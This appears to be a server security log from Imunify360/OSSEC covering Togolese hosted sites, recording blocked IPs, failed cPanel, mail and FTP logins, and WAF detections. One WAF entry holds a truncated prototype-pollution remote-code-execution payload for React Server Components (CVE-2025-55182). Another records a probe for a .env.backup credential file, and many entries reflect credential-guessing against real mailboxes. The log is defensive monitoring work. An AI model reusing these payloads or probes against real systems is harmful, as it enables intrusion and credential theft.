plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 13 22:02:15 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-13 22:02:17 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:20047: 535 Incorrect authentication data (set_id=remy)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 134.199.88.109
country_id: 6252001
description:
[2026-06-13 22:02:18 +0000] info [cpaneld] 134.199.88.109 - sodigaz "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 202.28.17.8
country_id: 1605651
description:
[2026-06-13 22:03:36 +0000] info [webmaild] 202.28.17.8 - jnikuekuete@otr.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.122.99.94
country_id: 3996063
description:
Jun 13 22:05:41 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.122.99.94 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 13 22:05:46 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.203.49.64
country_id: 2963597
description:
Jun 13 22:05:22 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.203.49.64 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.149.21.28
country_id: 6252001
description:
[2026-06-13 22:08:21 +0000] info [cpaneld] 180.149.21.28 - hcbcmrio "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: User hcbcmrio has their account suspended. Login blocked.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 13 22:11:04 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-13 22:11:06 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:23183: 535 Incorrect authentication data (set_id=anucha)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 13 22:10:32 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.198.42.71
country_id: 241170
description:
Jun 13 22:11:00 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.198.42.71 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 34.122.16.212
country_id: 6252001
domain: recorvery.lacs1.mairie.tg
description:


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 72.212.176.37
country_id: 6252001
description:
Jun 13 22:12:18 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 72.212.176.37 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 205.210.31.207
country_id: 6252001
description:
Jun 13 22:12:27 ns5 pure-ftpd[2734444]: (?@205.210.31.207) [INFO] New connection from 205.210.31.207


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.245.246.26
country_id: 1835841
description:
2026-06-13 22:12:37 dovecot_login authenticator failed for H=([223.167.75.86]) [106.245.246.26]:35489: 535 Incorrect authentication data (set_id=dasha9198)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.212.176.37
country_id: 6252001
description:
2026-06-13 22:12:20 dovecot_login authenticator failed for H=wsip-72-212-176-37.hr.hr.cox.net (nsg-static-65.18.76.182-airtel.com) [72.212.176.37]:33723: 535 Incorrect authentication data (set_id=dasha9198@atms.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.245.246.26
country_id: 1835841
description:
Jun 13 22:12:35 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.245.246.26 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 159.223.62.22
country_id: 1880251
description:
Jun 13 22:14:03 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 159.223.62.22 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.255.62.89
country_id: 6252001
description:
Jun 13 22:14:25 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.255.62.89 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.240.65.2
country_id: 2921044
description:
[2026-06-13 22:16:07 +0000] info [webmaild] 91.240.65.2 - emploi@emt.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 207.90.244.25
country_id: 6252001
description:
Jun 13 22:16:02 ns5 pure-ftpd[2736106]: (?@207.90.244.25) [WARNING] Authentication failed for user [anonymous]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 13 22:16:24 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.66.56.214
country_id: 1643084
description:
[2026-06-13 22:17:40 +0000] info [cpaneld] 157.66.56.214 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 202.28.17.5
country_id: 1605651
description:
[2026-06-13 22:18:15 +0000] info [webmaild] 202.28.17.5 - bnandja@otr.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.19.51.79
country_id: 2017370
description:
2026-06-13 22:17:34 dovecot_plain authenticator failed for H=(n51g68t37372wu8jnivu) [195.19.51.79]:51885: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 13.49.79.103
country_id: 2661886
description:
[2026-06-13 22:17:54 +0000] info [cpaneld] 13.49.79.103 - czqxxxnu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: User czqxxxnu has their account suspended. Login blocked.


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.43.110.12
country_id: 298795
description:
2026-06-13 22:17:21 dovecot_plain authenticator failed for H=(hnnm35q7l3ksfdhq23h8m4qrtf) [213.43.110.12]:48904: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.19.51.79
country_id: 2017370
description:
Jun 13 22:17:32 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.19.51.79 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.122.170.10
country_id: 2750405
description:
[2026-06-13 22:18:33 +0000] info [webmaild] 185.122.170.10 - contact@dany2.mairie.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: User contact@dany2.mairie.tg has their account suspended. Login blocked.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 66.198.221.50
country_id: 6252001
description:
Jun 13 22:20:06 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 66.198.221.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 13 22:19:33 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 66.198.221.50
country_id: 6252001
description:
2026-06-13 22:20:08 dovecot_login authenticator failed for H=([182.95.148.12]) [66.198.221.50]:60578: 535 Incorrect authentication data (set_id=elogdoyoih@otr.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-13 22:19:35 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:12921: 535 Incorrect authentication data (set_id=vtv)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 85.28.231.6
country_id: 2017370
description:
[2026-06-13 22:21:37 +0000] info [whostmgrd] 85.28.231.6 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.60.16.26
country_id: 3996063
description:
[2026-06-13 22:21:42 +0000] info [webmaild] 190.60.16.26 - ptitrikou@mesyscom.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.147.41
country_id: 1819730
description:
Jun 13 22:21:56 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.147.41 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 136.113.9.105
country_id: 6252001
domain: crepsad.tg
description:


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 13 22:24:02 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.29.56.39
country_id: 248816
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/05/78f515aac1ea7f8b8486130eaaec477b_L-300x198.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/05/78f515aac1ea7f8b8486130eaaec477b_L.webp 600w HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 50.3.137.177
country_id: 6252001
description:
[2026-06-13 22:25:27 +0000] info [webmaild] 50.3.137.177 - emmanuel.megbenu@mesyscom.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 196.115.188.249
country_id: 2542007
description:
196.115.188.249 - - [13/Jun/2026:22:27:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7236965&pdata=https%253A%252F%252Fmacite.tg%252F2026%252F06%252F11%252Fcrise-dans-les-grands-lacs-une-delegation-de-lonu-echange-a-lome-avec-le-mediateur-faure-gnassingbe%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781389632 HTTP/2.0" 302 0 macite.tg "https://macite.tg/2026/06/11/crise-dans-les-grands-lacs-une-delegation-de-lonu-echange-a-lome-avec-le-mediateur-faure-gnassingbe/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.1375.1573 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:196.115.188.249


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.70
country_id: 130758
description:
Jun 13 22:26:24 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 159.223.62.22
country_id: 1880251
description:
Jun 13 22:28:48 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 159.223.62.22 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.171.94.75
country_id: 1835841
description:
Jun 13 22:30:57 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.171.94.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.250.215.200
country_id: 1668284
description:
Jun 13 22:31:15 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.250.215.200 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.35.210
country_id: 6290252
description:
Jun 13 22:31:47 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.35.210 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 104.196.20.177
country_id: 6252001
domain: ns5mail.netmaster.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/app/.env.backup||User:root||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 145.239.79.139
country_id: 3017382
description:
2026-06-13 22:32:30 dovecot_plain authenticator failed for H=139.ip-145-239-79.eu (udp6bq5mb6v69zoc) [145.239.79.139]:60670: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.178.194.203
country_id: 2017370
description:
Jun 13 22:32:54 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.178.194.203 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.194.203
country_id: 2017370
description:
2026-06-13 22:32:56 dovecot_login authenticator failed for H=([192.252.210.237]) [178.178.194.203]:58418: 535 Incorrect authentication data (set_id=ayi@ekeasarl.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.31.135
country_id: 1668284
description:
Jun 13 22:33:23 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.31.135 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.2.44.54
country_id: 1269750
description:
Jun 13 22:35:26 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.2.44.54 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.159.122.42
country_id: 3865483
description:
Jun 13 22:37:22 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.159.122.42 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 57.129.134.29
country_id: 2635167
description:
57.129.134.29 - - [13/Jun/2026:22:39:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6789226&pdata=https%253A%252F%252Fflp-tg.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781390357 HTTP/2.0" 302 0 flp-tg.com "https://flp-tg.com/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:57.129.134.29


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.24.177.247
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/WhatsApp-Image-2024-01-10-a-13.05.06_ef5f3e5b-300x200.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/WhatsApp-Image-2024-01-10-a-13.05.06_ef5f3e5b-1024x682.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2026/06/WhatsApp-Image-2024-01-10-a-13.05.06_ef5f3e5b-768x512.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/06/WhatsApp-Image-2024-01-10-a-13.05.06_ef5f3e5b-1536x1023.webp 1536w, http:/togodailynews.tg/wp-content/uploads/2026/06/WhatsApp-Image-2024-01-10-a-13.05.06_ef5f3e5b.webp 1600w HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.30
country_id: 130758
description:
Jun 13 22:40:07 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.30 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 119.13.239.185
country_id: 1269750
description:
[2026-06-13 22:39:20 +0000] info [cpaneld] 119.13.239.185 - yxhnfwxr "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.176.54.217
country_id: 6252001
description:
[2026-06-13 22:41:01 +0000] info [cpaneld] 94.176.54.217 - tresorerie "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tresorerie (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.217.225.114
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/madagascarnewsroom-madagascar-assurance-agricole-ifc-300x180.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/madagascarnewsroom-madagascar-assurance-agricole-ifc.webp 750w HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 202.191.122.209
country_id: 1210997
description:
202.191.122.209 - - [13/Jun/2026:22:41:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9934994&pdata=https%253A%252F%252Ftogodailynews.tg%252Feducation-le-taux-global-dachevement-est-passe-a-887-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781390503 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/education-le-taux-global-dachevement-est-passe-a-887-au-togo/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.6316.1848 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:202.191.122.209


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 159.223.62.22
country_id: 1880251
description:
Jun 13 22:43:33 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 159.223.62.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.144.71.230
country_id: 1831722
description:
2026-06-13 22:43:41 dovecot_plain authenticator failed for H=([192.168.1.100]) [203.144.71.230]:41215: 535 Incorrect authentication data (set_id=info@sigm.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 192.141.87.83
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/WhatsApp-Image-2026-06-01-at-17.57.37-768x576.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/06/WhatsApp-Image-2026-06-01-at-17.57.37-300x225.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/WhatsApp-Image-2026-06-01-at-17.57.37-1024x768.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2026/06/WhatsApp-Image-2026-06-01-at-17.57.37-1536x1152.webp 1536w, http:/togodailynews.tg/wp-content/uploads/2026/06/WhatsApp-Image-2026-06-01-at-17.57.37-2048x1536.webp 2048w HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 34.122.16.212
country_id: 6252001
domain: soena.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"__c65fd1a3\":\"a3c63e8ea6dcbd8b\",\"reason\":-1,\"status\":\"resolved_model\",\"_response\":{\"_prefix\":\"var heu=arguments['\\\\x31'];var egbs=heu;try{var _v=((0,eval)(global[[\\\"Bu\\\",\\\"ff\\\",\\\"er\\\


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.97.205.33
country_id: 1562822
description:
2026-06-13 22:51:46 dovecot_plain authenticator failed for H=(uobj5cjoz91xap1l8m0mvwp) [116.97.205.33]:34675: 535 Incorrect authentication data (set_id=visite@cloud-et-racks.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.97.205.33
country_id: 1562822
description:
Jun 13 22:51:44 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.97.205.33 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 67.217.62.106
country_id: 6252001
domain: bawasongroup.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/143.0.7499.169 Safari/537.36||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 134.199.71.59
country_id: 6252001
description:
[2026-06-13 22:54:05 +0000] info [cpaneld] 134.199.71.59 - lxsenjdd "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lxsenjdd (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 136.227.160.173
country_id: 6252001
description:
[2026-06-13 22:53:38 +0000] info [cpaneld] 136.227.160.173 - admin@togocarrierebetons.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.72
country_id: 1880251
description:
47.128.121.72 - - [13/Jun/2026:22:56:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13158557&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftraitement-deau-potable-un-laboratoire-mis-en-service-a-cacaveli%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781391394 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/traitement-deau-potable-un-laboratoire-mis-en-service-a-cacaveli/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.72


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [13/Jun/2026:22:58:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10262632&pdata=http%253A%252F%252Fcamilliens.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781391489 HTTP/1.1" 302 0 camilliens.tg "http://camilliens.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [13/Jun/2026:22:57:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12949959&pdata=http%253A%252F%252Fcamilliens.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781391478 HTTP/1.1" 302 0 camilliens.tg "http://camilliens.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [13/Jun/2026:22:58:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13144427&pdata=http%253A%252F%252Fcamilliens.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781391483 HTTP/1.1" 302 0 camilliens.tg "http://camilliens.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 159.223.62.22
country_id: 1880251
description:
Jun 13 22:58:20 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 159.223.62.22 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 195.2.84.198
country_id: 2017370
domain: direct7.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:22-59.195.2.84.198||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 104.207.32.147
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:23-05.104.207.32.147||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [13/Jun/2026:23:06:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6516323&pdata=https%253A%252F%252Fcamilliens.tg%252Fwp-content%252Fuploads%252Felementor%252Fcss%252Fpost-2.css%253Fver%253D1781178814&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781391994 HTTP/2.0" 302 0 camilliens.tg "https://camilliens.tg/wp-content/uploads/elementor/css/post-2.css?ver=1781178814" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.53
country_id: 6252001
description:
205.169.39.53 - - [13/Jun/2026:23:06:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10381210&pdata=https%253A%252F%252Fcamilliens.tg%252Fwp-content%252Fuploads%252Felementor%252Fcss%252Fpost-2.css%253Fver%253D1781178814&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781391994 HTTP/2.0" 302 0 camilliens.tg "https://camilliens.tg/wp-content/uploads/elementor/css/post-2.css?ver=1781178814" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.53


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [13/Jun/2026:23:06:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7118191&pdata=https%253A%252F%252Fcamilliens.tg%252Fwp-content%252Fuploads%252Felementor%252Fcss%252Fpost-2.css%253Fver%253D1781178814&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781391995 HTTP/2.0" 302 0 camilliens.tg "https://camilliens.tg/wp-content/uploads/elementor/css/post-2.css?ver=1781178814" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.225.58.8
country_id: 6252001
description:
Jun 13 23:11:32 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.225.58.8 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.225.58.8
country_id: 6252001
description:
